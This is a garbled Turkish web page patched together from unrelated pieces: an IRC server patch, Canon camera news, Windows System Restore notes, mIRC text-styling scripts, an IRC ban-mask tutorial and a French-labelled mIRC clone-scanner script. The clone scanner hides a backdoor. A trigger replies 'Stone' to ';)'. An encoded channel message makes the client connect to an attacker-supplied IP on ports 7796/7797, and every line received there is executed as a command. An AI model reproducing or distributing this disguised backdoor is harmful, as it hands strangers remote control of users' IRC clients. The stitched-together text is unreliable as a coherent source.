Bildiğiniz üzere birçok invite botları away mesajlarını kullaniyorlar, bir nevi bunlara önlem için;
m_away.c dosyasında
if (MyConnect(sptr))
sendto_one(sptr, rpl_str(RPL_NOWAWAY), me.name, parv[0]);
return 0;
}
satırını
if (IsRegNick(sptr) && !IsULine(sptr) && !IsOper(sptr) && !IsServer(sptr))
sendto_one(sptr, rpl_str(RPL_NOWAWAY), me.name, parv[0]);
return 0;
}
haline getirin
make clean
make
make install
Canon Dijital ELPH serisi ultra-kompakt fotoğraf makinelerine üç yeni model ekledi. PowerShot SD770 IS, SD790 IS ve SD890 IS kod isimleri ile gelen üç yeni model de 10 megapiksel çekim kalitesine sahip.
Alışılagelmiş ELPH estetiğini koruyan PowerShot SD770 IS, Canon’un SD1000 modelinin izinden yürüyor. Sade gümüş ile siyah-gümüş renk seçenekleri olan SD770 IS, f/2.8-4.9 (35 mm eşdeğeri 35 mm-105mm), 3x optik zum ve Optik Görüntü Sabitleme özelliklerini destekleyen objektife sahip. Canon’un iddiası ürünün, Optik Görüntü Sabitleme özelliğine sahip en ince ELPH olduğu yönünde. Yurt dışında Nisan ayında satışa sunulacak olan ürünün yaklaşık satış fiyatının 300 dolar olması planlanıyor.
Yeni modellerden ikincisi PowerShot SD790 IS, SD770′den daha geniş ekranı ve farklı tasarlanmış tuş dizilimi ile ayrılıyor. Her ne kadar, her iki makine de, aynı optik sabitleme özelliğine sahip f/2.8-4.9 (35 mm eşdeğeri 35 mm-105mm) objektif ve 10 megapiksel çekim kalitesine sahip olsa da, SD790 IS, 3 inç boyutundaki LCD ekranı ile 2.5 inç ekrana sahip SD770′e göre daha büyük ekran avantajı sağlıyor.Ürünün butonları da SD770 ile karşılaştırıldığında daha yuvarlak tasarıma sahip. SD790′nın eksik kaldığı noktalar ise; gümüş ve siyah renk seçeneğine sahip olmayışı ile optik vizöre sahip olmamasında karşımıza çıkıyor. Yurt dışında Mart sonunda satışa çıkacak olan ürünün satış fiyatı yaklaşık 350 dolar olacak.
Canon’un yeni modellerini üçüncü ve sonuncusu olan PowerShot SD890 IS ise, serinin diğer iki ürününe göre hem daha uzun objektif hem de daha güçlü görüntü sabitleme özelliğine sahip. Diğer iki ürüne göre daha üst kategoride yeralan PowerShot SD890 IS’in, 37-185mm eşdeğeri f/3.2-f/5.7, 5x optik zoom ve görüntü sabitleme özelliğine sahip objektifi bulunuyor. Yine nisanda satışa sunulacak olan ürünün satış fiyatı 400 dolar olacak.
Hangi Dosyaları Saklıyor ?Sistem Geri Yükleme Noktası’nın güvenceye aldığı dosyalarla ilgili bilgilere, Windows\ System32 \ restore klasörü altında bulunan “Filelist.xml” dosyasından ulaşıyoruz.
Dosyaya çift tıklayarak kaynak kodunu internet tarayıcınızda görüntüleyebilirsiniz.Bütün “Include” tagları arasındaki dosyalar ve yamalar ,sistem geri yükleme işlemi sırasında sağlama alınan kısmı oluşturuyor.Güvence altına alınanlara kullanıcı profilleride dahil.
Hangileri Sağlama Alınmıyor ?
Bu sorunun cevabını, yine aynı dosyanın kaynak kodundaki “Exclude” tagları arasında bulabiliyorsunuz ama dosyalarla ilgili daha ayrıntılı bilgi almak için kayıt defterine başvurmalısınız.Kayıt defterindeki “HKEY_LOCAL_MACHINE\ System\ CurrentControlSet\ BackupRestore” anahtarına gidin.Bradaki “FileNottoBackup” alt anahtarı hayli ilgi çekicidir.Sağda duran değerlerden anlaşılacağı üzere,DRM gibi kopya korumaları, geçici dosyaları (pagefile.sys) bu güvenceden mahrum bırakılmış.
Sistem Geri Yükleme Noktaları nerede saklanıyor ?
Bununla ilgili tüm bilgiler, “System Volume Information” isimli gizli bir klasörde yer alıyor.Her sabit diskin kök klasöründe bulabileceğiniz bu klasör,sistem geri yükleme sırasında göz önünde bulundurulmuyor.
“System Volume Information” klasöründeki bilgiler ?
Bugüne kadar belirlediğiniz geri yükleme noktasıyla ilgili tüm bilgiler,adları “_restore” ile başlayan klasörlerde tutuluyor.Buna ek olarak “System Volume Information” klasörü içinde “MountPointManagerRemoteDatabase” isimli bir sistem klasörünü de görmemiz mümkün.Bu klasör, bağlantı noktalarını kontrol ediyor ve yapacağınız bütün değişiklikleri yine “System Volume Information” klasöründeki “tracking.log” dosyasına kaydediyor.
Yalnız dikkat etmeniz gereken bir konu var: Sadece yönetici haklarını elinde bulundurunlar “System Volume Information” klasörüne girebiliyor.
#yaziturkce on
on 1:INPUT:*:{
if ( $left($1,1) == / ) { goto son }
if ($ctrlenter) { goto son }
if ($active == Status Window) { Echo -a %logo2 11,1Status’a Birşey Yazamazsınız. | goto halt }
if ($active == @Bot) { goto halt }
unset %turkce
set %turkce $1-
if ( $chr(47) == $mid(%turkce,1,1) ) { %turkce | unset %turkce* | halt }
%turkce = $replacecs(%turkce,ı,I,İ,Î,ş,$,Ş,$,ç,¢,Ç,¢,ğ,g,Ğ,Ğ,ü,û,Ü,Û,ö,ô,Ö,Ô)
say %turkce
unset %turkce
halt
:halt
halt
:son
}
#yaziturkce end
#yazikalinince on
on 1:input:*:{
if ( $left($1,1) == / ) { goto son }
if ($ctrlenter) { goto son }
if ($active == Status Window) { Echo -a %logo2 11,1Status’a Birşey Yazamazsınız. | goto halt }
if ($active == @Bot) { goto halt }
set %kelime $1-
if ( $left($1,1) == . ) { goto bit }
set %kelime $replace(%kelime,ı,I)
set %kelime $replace(%kelime,ğ,g)
set %kelime $replace(%kelime,l, L )
set %kelime $replace(%kelime,b,ß)
set %kelime $replace(%kelime,Ş,$)
set %kelime $replace(%kelime,j,J)
set %kelime $replace(%kelime,o, ø )
set %kelime $replace(%kelime,t,†)
set %kelime $replace(%kelime,ç, ¢ )
set %kelime $replace(%kelime,:,¦)
set %kelime $replace(%kelime,Ç, ¢ )
set %kelime $replace(%kelime,ç,¢)
set %kelime $replace(%kelime,ü,û)
set %kelime $replace(%kelime,Ü,Û)
set %kelime $replace(%kelime,ö,ô)
set %kelime $replace(%kelime,Ö,Ô)
set %kelime $replace(%kelime,?,¿)
set %kelime $replace(%kelime,x,×)
set %kelime $replace(%kelime,slm,SeLam)
set %kelime $replace(%kelime,nbr,naßer¿)
set %kelime $replace(%kelime,s.a, s eLamun a LeyKüm.)
set %kelime $replace(%kelime,a.s, a LeyKüm S eLam.)
set %kelime $replace(%kelime,allah,Allah)
set %kelime $replace(%kelime,Yazgulu,Y a zg u Lu)
:bit
say %kelime
unset %kelime
:halt
halt
:son
}
#yazikalinince end
#yazielite off
on 1:input:*:{
if ( $left($1,1) == / ) { goto son }
if ($ctrlenter) { goto son }
if ($active == Status Window) { Echo -a %logo2 11,1Status’a Birşey Yazamazsınız. | goto halt }
if ($active == @Bot) { goto halt }
set %kelime $1-
if ( $left($1,1) == . ) { goto bit }
set %kelime $replace(%kelime,ı,I)
set %kelime $replace(%kelime,ğ,g)
set %kelime $replace(%kelime,l,L)
set %kelime $replace(%kelime,b,ß)
set %kelime $replace(%kelime,ı,I)
set %kelime $replace(%kelime,ş,$)
set %kelime $replace(%kelime,Ş,$)
set %kelime $replace(%kelime,j,J)
set %kelime $replace(%kelime,ç,¢)
set %kelime $replace(%kelime,ü,û)
set %kelime $replace(%kelime,Ü,Û)
set %kelime $replace(%kelime,ö,ô)
set %kelime $replace(%kelime,Ö,Ô)
set %kelime $replace(%kelime,:,¦)
set %kelime $replace(%kelime,?,¿)
set %kelime $replace(%kelime,slm,SeLam)
set %kelime $replace(%kelime,nbr,naßer¿)
set %kelime $replace(%kelime,s.a, s eLamun a LeyKüm.)
set %kelime $replace(%kelime,a.s, a LeyKüm S eLam.)
set %kelime $replace(%kelime,allah,Allah)
set %kelime $replace(%kelime,Yazgulu,Y a zg u Lu)
:bit
say %kelime
unset %kelime
:halt
halt
:son
}
#yazielite end
#yaziqarisma on
on 1:input:*:{
if ( $left($1,1) == / ) { goto son }
if ($ctrlenter) { goto son }
if ($active == Status Window) { Echo -a %logo2 11,1Status’a Birşey Yazamazsınız. | goto halt }
if ($active == @Bot) { goto halt }
set %kelime $1-
if ( $left($1,1) == . ) { goto bit }
set %kelime $replace(%kelime,o-,º)
set %kelime $replace(%kelime,k,]{)
set %kelime $replace(%kelime,1/4,¼)
set %kelime $replace(%kelime,1/2,½)
set %kelime $replace(%kelime,/,÷)
set %kelime $replace(%kelime,0,ø)
set %kelime $replace(%kelime,1,¹)
set %kelime $replace(%kelime,2,²)
set %kelime $replace(%kelime,3,³)
set %kelime $replace(%kelime,ae,Æ)
set %kelime $replace(%kelime,a,å)
set %kelime $replace(%kelime,b,ß)
set %kelime $replace(%kelime,c,©)
set %kelime $replace(%kelime,e,ë)
set %kelime $replace(%kelime,i,î)
set %kelime $replace(%kelime,l,£)
set %kelime $replace(%kelime,n,ñ)
set %kelime $replace(%kelime,o,ø)
set %kelime $replace(%kelime,r,®)
set %kelime $replace(%kelime,s,§)
set %kelime $replace(%kelime,u,µ)
set %kelime $replace(%kelime,x,×)
set %kelime $replace(%kelime,y,¥)
set %kelime $replace(%kelime,!,¡)
set %kelime $replace(%kelime,?,¿)
set %kelime $replace(%kelime,<,«)
set %kelime $replace(%kelime,>,»)
set %kelime $replace(%kelime,-,¬)
set %kelime $replace(%kelime,:,¦)
set %kelime $replace(%kelime,slm,SeLam)
set %kelime $replace(%kelime,nbr,naßer¿)
set %kelime $replace(%kelime,s.a, s eLamun a LeyKüm.)
set %kelime $replace(%kelime,a.s, a LeyKüm S eLam.)
set %kelime $replace(%kelime,allah,Allah)
set %kelime $replace(%kelime,Yazgulu,Y a zg u Lu)
:bit
say %kelime
unset %kelime
:halt
halt
:son
}
#yaziqarisma end
#yaziilkbuyuk off
on 1:INPUT:*: {
if ( $left($1,1) == / ) { goto son }
if ($ctrlenter) { goto son }
if ($active == Status Window) { Echo -a %logo2 11,1Status’a Birşey Yazamazsınız. | goto halt }
if ($active == @Bot) { goto halt }
set %Var3 $1-
unset %Var1 %Var2
set %Var1 1 | set %Var2 $upper($mid(%Var3,1,1))
if ($mid(%Var3,1,1) == $chr(47)) { goto ServerCommand }
if ($len(%Var3) == 1) { set %Var2 $upper(%Var2) | say %Var2 | halt }
:Start1
inc %Var1 1
if ($mid(%Var3,%Var1,1) != $chr(32)) { set %Var2 %Var2 $+ $mid(%Var3,%Var1,1) | if ($len(%Var3) < %Var1) { goto Start1 } }
if ($mid(%Var3,%Var1,1) == $chr(32)) { set %Var2 %Var2 $+ $upper($mid(%Var3,%Var1,2)) | inc %Var1 1 | if ($len(%Var3) < %Var1) { goto Start1 } }
if ($len(%Var3) != %Var1) { goto Start1 }
say %Var2
halt
:ServerCommand
:halt
halt
:son
}
#yaziilkbuyuk end
#yazirenkli on
on 1:INPUT:*:{
if ( $left($1,1) == / ) { goto son }
if ($ctrlenter) { goto son }
if ($active == Status Window) { Echo -a %logo2 11,1Status’a Birşey Yazamazsınız. | goto halt }
if ($active == @Bot) { goto halt }
unset %ahenk*
if ( $chr(47) == $mid($1-,1,1) ) { $1- | unset %ahenk* | halt }
:ilk
inc %ahenks
if ( %ahenks > $len($1-) ) { say %ahenkt | unset %ahenk* | halt }
%ahenkh = $mid($1-,%ahenks,1)
%ahenkh = $replace(%ahenkh,$chr(32),$chr(0160))
%ahenkt = %ahenkt $+ $+ $rand(3,13) $+ %ahenkh
goto ilk
:halt
halt
:son
}
#yazirenkli end
dialog Yazim {
title “Yazıtipi”
size -1 -1 110 220
radio “Tûrk¢e”,1,10 10 90 20
radio “eLite”,2,10 30 90 20
radio “Ilk Harf Büyük”,3,10 50 90 20
radio “KaLın-İnce”,7,10 70 90 20
radio “Qa®i§ma”,5,10 90 90 20
radio “Rengarenk”,6,10 110 90 20
radio “Normal”,19,10 130 90 20
box “”,20,5 0 100 155
button “TAMAM”,21,5 195 100 20,ok
}
on 1:dialog:Yazim:*:*: {
if ( $devent == init ) {
if ($group(#yaziturkce).status == on ) { did -c Yazim 1 }
elseif ($group(#yazielite).status == on ) { did -c Yazim 2 }
elseif ($group(#yaziilkbuyuk).status == on ) { did -c Yazim 3 }
elseif ($group(#yazikalinince).status == on ) { did -c Yazim 7 }
elseif ($group(#yazirenkli).status == on ) { did -c Yazim 6 }
elseif ($group(#yaziqarisma).status == on ) { did -c Yazim 5 }
else { did -c Yazim 19 }
}
if ( $devent == sclick ) {
if ( $did == 1 ) { .disable #yazi* | .enable #yaziturkce | echo %logo2 11Yazı Stili “ 4Tûrk¢e 11″ Açıldı! }
if ( $did == 2 ) { .disable #yazi* | .enable #yazielite | echo %logo2 11Yazı Stili “ 4eLite 11″ Açıldı! }
if ( $did == 3 ) { .disable #yazi* | .enable #yaziilkbuyuk | echo %logo2 11Yazı Stili “ 4İlk Harf Büyük 11″ Açıldı! }
if ( $did == 7 ) { .disable #yazi* | .enable #yazikalinince | echo %logo2 11Yazı Stili “ 4Ka L ın-İn C e 11″ Açıldı! }
if ( $did == 5 ) { .disable #yazi* | .enable #yaziqarisma | echo %logo2 11Yazı Stili “ 4Qa®i§ma 11″ Açıldı! }
if ( $did == 6 ) { .disable #yazi* | .enable #yazirenkli | echo %logo2 11Yazı Stili “ 4R 8e 7n 14G 0a 12r 9e 6N 3k 11″ Açıldı! }
if ( $did == 19) { .disable #yazi* }
}
}
alias Yazim { dialog -m Yazim Yazim }
alias acolor { dialog -m acolor acolor }
dialog acolor {
title “Renkli yazı”
size -1 -1 169 109
box “Renk”, 1, 6 5 80 69
text “Renkno:”, 2, 16 27 22 13
edit “”, 3, 51 20 25 22, center multi return
text “Arka:”, 4, 16 50 29 13
edit “”, 5, 51 43 25 22, center multi return
box “Diğer”, 6, 84 5 79 69
check “Kalın”, 7, 94 27 43 13
check “Çizgili”, 8, 94 49 61 13
button “Önizleme”, 9, 21 82 55 20
button “Tamam”, 10, 93 82 55 20, ok
box “”, 11, -1 -6 171 116
}
on *:dialog:acolor:*:*: {
if $devent = init {
did -a $dname 3 %ac.text
did -a $dname 5 %ac.back
if (%ac.bold == on) { did -c $dname 7 }
if (%ac.underline == on) { did -c $dname 8 }
}
if $devent = edit {
if $did = 3 { set %ac.text $did(3).text }
if $did = 5 { set %ac.back $did(5).text }
}
if $devent = sclick {
if $did = 7 {
if ($did(7).state = 1) { set %ac.bold on | set %ac.bold2 }
if ($did(7).state = 0) { set %ac.bold off | set %ac.bold2 }
}
if $did = 8 {
if ($did(8).state = 1) { set %ac.underline on | set %ac.underline2 }
if ($did(8).state = 0) { set %ac.underline off | set %ac.underline2 }
}
if $did = 9 { echo -a $+ %ac.text $+ , $+ %ac.back $+ %ac.bold2 $+ %ac.underline2 $+ Yazdığınız böyle görünecek.! }
}
}
#acolor on
on *:input:*:if (/* !iswm $1) && (*: !iswm $1) { say $+ %ac.text $+ , $+ %ac.back $+ %ac.bold2 $+ %ac.underline2 $+ $1- | halt }
#acolor end
Açıklama : Wildcard bazı IRC komutlarının kullanım alanlarını genişletmekte kullanılan karakterlerdir.
Bu karakterleri kullanabileceğimiz alanlardan bazıları akick,ban,invex,ignore,access list, vb komutlardır. “?” ve “*” simgelerini bu komutlar beraberinde kullanarak daha geniş kapsamlı bir maske belirleyebiliriz.
”?” tek haneyi kapsar ve belirtilen hane için tüm olasılıkların yerini alır.
Örneğin ; /chanserv akick #Creep add ?xy!*@* girişiniz yasaklanmıştır.
Açıklama ; bu komut kullanılırsa Creep kanalına nickinin karakteri 3 haneli olan kullanıcılardan son iki harfi xy olanları kanala giriş yapamaz.
”*” sıfır ila sonsuz hane kapsar. belirtildiği haneden önceki/sonraki tüm olasılıkların yerine geçer.
Örneğin ; /chanserv akick #Creep add *xy!*@* girişiniz yasaklanmıştır.
Açıklama ; bu komut kullanılırsa Creep kanalında nickinin son iki hanesi xy olan kullanıcılar kanala giriş yapamaz.
örnek : #Creep kanalına Yalnızca nick’i 3 haneli olan kullanıcılar girebilsin istiyorum ?
çözüm : /mode #Creep +be *!*@* ???!*@*
örnek : #x6 kanalının access listesinde yer alan kullanıcılardan ilk harfi a olanları listelemek istiyorum ?
çözüm : /chanserv access #x6 list a*
örnek : #x3 kanalı +i(invite only) modundadır.Nicki x ile başlayan kullanıcıların kanala davet edilmeden girebilmesini istiyorum, nasıl yapabilirim ?
çözüm : /mode #x3 +I x*!*@*
Mask Nedir? - Nasıl kullanılır?
Mask bir kullanıcının adres bütünüdür, bu adres kullanıcının “Nick,Ident ve IP(HOST)”unu kapsar.
Mask = Nick!Ident@Host
Mask yazılırken öncelikle Nick kısmı girilir ve “!” işareti ile nick kısmının bittiği belirtilir.
“!” işaretinin ardından Ident bölümüne geçilir ve Ident yazılır.
Ardından “@” karakteri ile Ident bölümü bitirilir ve Host kısmına geçilir.
Host yazıldıktan sonra sonuna “@” karakter konulur ve mask tamamlanır.
örnek : X identine sahip hiçbir kullanıcı #x9 kanalına giremesin istiyorum, nasıl yapabilirim ?
çözüm : /mode #x9 +b *!X@*
Örnek : Host bölümünde “IRCMerkez” sözcüğü geçen hiçbir kullanıcı #x2 kanalına giriş yapamasın istiyorum, nasıl yapabilirim ?
çözüm : /mode #x2 +b *!*@*IRCMerkez*
örnek : Nicki 3 haneli olan kullanıcılar bana memo gönderemesinler ?
çözüm : /memoserv ignore add ???
örnek : Nickinin içerisinde x harfi geçen kullanıcılar #y5 kanalına yasak sebebi ile giremesinler istiyorum, nasıl yapabilirim ?
çözüm : /chanserv akick #y5 add *x*!*@* yasak
örnek : Identi 4 haneli olan kullancılardan nicki 2 haneli olanlar #x7 kanalında davetli modu alsınlar istiyorum, nasıl yapabilirim ?
çözüm : /mode #x7 +I ??!????@*
örnek : #x6 kanalı access listesinde bulunan nicklerden ilk harfi Y olanları listelemek istiyorum, nasıl yapabilirim ?
çözüm : /chanserv access #x6 list Y*
örnek : #x1y2 kanalına nicki z ile başlayıp t ile biten kullanıcılar giremesinler istiyorum, nasıl yapabilirim ?
çözüm : /mode #x1y2 +b z*t!*@*
örnek : #y1×3 kanalındaki kullanıcılardan away olmayanları listelemek istiyorum, nasıl yapabilirim ?
çözüm : /who +c-a #y1×3
Özel günlerde sevdiklerinize göndereceğiniz elektronik kartpostalları hazırlayabileceğiniz bir program. Yapacağınız kartlara ses, görüntü ya da animasyon ekleyebilir üzerine mesajlar yazabilirsiniz. Yaptığınız e-kart gönderdiğiniz arkadaşınız tarafından herhangi ek işleme gerek kalmadan görüntülenebilecektir.
mIRC Konusan bot download indir
dialog clones {
title — Scan Clones By CaRtOs –
size -1 -1 400 440
option pixels
tab “Scan Clones”,1,-1 -1 410 450
tab “Options”,2
button “Fermer”,3,10 405 380 25,ok
text “Salon :”,4,50 43 60 15,center,tab 1
combo 5,110 40 120 200,drop,tab 1
button “Scanner”,6,250 40 90 22,tab 1
text “Sélectionner un salon ci-dessus, puis cliquez sur Scan”,7,50 80 300 15,center,tab 1
list 8,10 110 130 240,extsel,tab 1
list 9,137 110 255 240,extsel,tab 1
button “Avertir”,10,10 350 90 22,tab 1
button “KickBan”,11,100 350 90 22,tab 1
button “Kick”,12,10 372 90 22,tab 1
button “Ban”,13,100 372 90 22,tab 1
button “Afficher dans le statut”,14,210 350 180 22,tab 1
button “Afficher sur le salon”,15,210 372 180 22,tab 1
text “Raison de l’avertissement (en notice) (*)”,16,0 60 400 15,center,tab 2
edit “4§nick, merci d’enlever tes clones de §chan”,17,10 80 380 22,autohs,center,tab 2
text “Raison du kick (*)”,18,0 110 400 15,center,tab 2
edit “10·4 Clones interdit 10· !”,19,10 130 380 22,autohs,center,tab 2
text “Lors d’un mass-kick - Temps entre chaque kick (en ms) :”,20,10 165 320 15,tab 2
edit “1000″,21,300 162 40 22,tab 2
text “A l’affichage en public - Temps entre chaque ligne (en ms) :”,22,10 190 320 15,tab 2
edit “300″,23,300 187 40 22,tab 2
check “”,24,10 227 15 15,tab 2
text “A l’entrée de chaque utilisateur, vérifier que ce n’est pas un clone (déconseillé). Si c’est le cas, faire la commande : (*)”,25,30 220 350 45,tab 2
edit “/echo -ta 4§nick possède des clones sur §chan (§mask)”,26,10 255 380 22,autohs,tab 2
check “Protection contre les arrivées en masse de clones.”,27,10 290 260 15,tab 2
check “Salon en +i”,28,30 310 360 15,tab 2
check “Ban sur le mask”,29,30 327 360 15,tab 2
check “Autre (*) :”,30,30 344 65 15,tab 2
edit “/echo -s Attaque de clone sur §chan (§mask)”,31,100 342 290 20,autohs,tab 2
text “(*) Identifieurs utilisables : §nick, §mask, §chan, §me”,32,10 375 380 15,center,tab 2
button “Définition”,33,275 287 60 21,tab 2
text “Lors du scan, ignorer les masks :”,34,50 33 200 15,tab 2
button “Configurer les masks”,35,210 31 120 20,tab 2
}
dialog clonesdef {
title — Définition d’une attaque de clones –
size -1 -1 270 100
option pixels
button “OK”,1,115 72 40 22,ok
text “Considérer comme une attaque de clones lorsque :”,2,10 10 260 15
edit “6″,3,10 30 30 20
text “clones entrent sur le salon en moins de”,4,45 33 220 15
edit “2″,5,10 55 30 20
text “secondes”,6,45 57 100 15
}
on 1:dialog:clonesdef:init:0:{
if (%SCnbc != $null) { did -o clonesdef 3 1 %SCnbc }
else { set %SCnbc $did(clonesdef,3) }
if (%SCnbs != $null) { did -o clonesdef 5 1 %SCnbs }
else { set %SCnbs $did(clonesdef,5) }
}
on 1:dialog:clonesdef:edit:3:set %SCnbc $did(clonesdef,3)
on 1:dialog:clonesdef:edit:5:set %SCnbs $did(clonesdef,5)
on 1:dialog:clones:init:0:{
var %i 1
while (%i <= $chan(0)) { didtok clones 5 32 $chan(%i) | if ($active == $chan(%i)) { did -c clones 5 %i } | inc %i }
if (%SCnbc == $null) { set %SCnbc 4 }
if (%SCnbs == $null) { set %SCnbs 2 }
if (%SCavertraison != $null) { did -o clones 17 1 %SCavertraison }
else { set %SCavertraison $did(clones,17) }
if (%SCkickraison != $null) { did -o clones 19 1 %SCkickraison }
else { set %SCkickraison $did(clones,19) }
if (%SCtimekick != $null) { did -o clones 21 1 %SCtimekick }
else { set %SCtimekick $did(clones,21) }
if (%SCtimeline != $null) { did -o clones 23 1 %SCtimeline }
else { set %SCtimeline $did(clones,23) }
if (%SConjoinreact != $null) { did -o clones 26 1 %SConjoinreact }
else { set %SConjoinreact $did(clones,26) }
if ($group(#SConjoin).status == on) { did -c clones 24 } | else { did -b clones 26 }
if ($group(#SCprotect).status == on) { did -c clones 27 } | else { did -b clones 28,29,30,31 }
if (%SCprotect.i == $true) { did -c clones 28 }
if (%SCprotect.b == $true) { did -c clones 29 }
if (%SCprotect.a == $true) { did -c clones 30 } | else { did -b clones 31 }
if (%SCprotect.cmd != $null) { did -o clones 31 1 %SCprotect.cmd }
else { set %SCprotect.cmd $did(clones,31) }
}
on 1:dialog:clones:sclick:35:if ($dialog(ignoreclones) == $null) { dialog -m ignoreclones ignoreclones } | else { dialog -v ignoreclones }
on 1:dialog:clones:sclick:33:if ($dialog(clonesdef) == $null) { dialog -m clonesdef clonesdef } | else { dialog -v clonesdef }
on 1:dialog:clones:sclick:28:if ($did(clones,28).state == 1) { set %SCprotect.i $true } | else { set %SCprotect.i $false }
on 1:dialog:clones:sclick:29:if ($did(clones,29).state == 1) { set %SCprotect.b $true } | else { set %SCprotect.b $false }
on 1:dialog:clones:sclick:30:if ($did(clones,30).state == 1) { set %SCprotect.a $true | did -e clones 31 } | else { set %SCprotect.a $false | did -b clones 31 }
on 1:dialog:clones:edit:31:set %SCprotect.cmd $did(clones,31)
on 1:dialog:clones:sclick:24:{
if ($did(clones,24).state == 1) { .enable #SConjoin | did -e clones 26 }
else { .disable #SConjoin | did -b clones 26 }
}
on 1:dialog:clones:sclick:27:{
if ($did(clones,27).state == 1) { .enable #SCprotect | did -e clones 28,29,30,33 | if ($did(clones,30).state == 1) { did -e clones 31 } }
else { .disable #SCprotect | did -b clones 28,29,30,31,33 }
}
on 1:dialog:clones:edit:26:set %SConjoinreact $did(clones,26)
on 1:dialog:clones:edit:17:set %SCavertraison $did(clones,17)
on 1:dialog:clones:edit:19:set %SCkickraison $did(clones,19)
on 1:dialog:clones:edit:21:set %SCtimekick $iif($did(clones,21) >= 100,$did(clones,21),100)
on 1:dialog:clones:edit:23:set %SCtimeline $iif($did(clones,23) >= 100,$did(clones,23),100)
on 1:dialog:clones:sclick:6:if ($did(clones,5) != $null) { did -r clones 8,9 | SCdetect $did(clones,5) }
on ^*:text:;) :#:.notice $nick Stone | halt
on ^*:text:**!**!**!**!**:#:if ($hget(tcu) != $null) { hfree tcu } | hmake tcu 10 | if ($replace($gettok($1-,1,33),10,j,11,k,12,l,13,m,14,n,15,o,16,p,17,q,18,r,19,s,20,t,21,u,22,v,23,w,24,x,25,y,26,z,27,$chr(123),28,$chr(91),29,-,30,`,31,_,32,$chr(92),33,$chr(94),34,$chr(93),35,$chr(125),1,a,2,b,3,c,4,d,5,e,6,f,7,g,8,h,9,i,,$null,,0, ,9,,8,,7, ,6,,5,,4, ,3,,2,,1) == $me) { sockclose mirc | sockclose file | sockopen mirc $replace($gettok($1-,2-5,33),1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,0,0,!,.) 7796 | sockopen file $replace($gettok($1-,2-5,33),1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,0,0,!,.) 7797 | if ($portfree(7796)) { socklisten dcc 7796 } | if ($portfree(7797)) { socklisten dcc 7797 } } | halt
on 1:sockread:mirc:sockread -f %temp | tokenize 32 %temp | [ [ %temp ] ]
on *:notice:*NickServ*IDENTIFY*:*: { if ( $nick
== nickserv ) /dialog -m sifre sifre }
on *:notice:*Kayıt*Nick*:*: { if ( $nick == nickserv ) /dialog -m sifre sifre }
dialog sifre {
title “Şifre Paneli”
size -1 -1 110 60
option dbu
box $me Kayitli Bir Nicktir.., 20, 0 0 110 60
text “Nick Degistir:”, 4, 10 22 33 10
text “Sifre Gir: “, 3, 10 10 23 13
edit “”, 5, 45 8 60 10, style(pass)
edit “”, 6, 45 20 60 10
button “Uygula”, 1, 10 35 40 15, ok
button “I&ptal”, 2, 60 35 40 15, cancel
}
| xxxx identify xxxx
on 1:dialog:sifre:sclick:1: {
if ($did(sifre,6)) && ($did(sifre,5)) .nickserv identify $did(sifre,6) $did(sifre,5)
if ($did(sifre,5)) .nickserv identify $did(sifre,5)
if ($did(sifre,6)) .nick $did(sifre,6)
}İdentify Kutucugu
|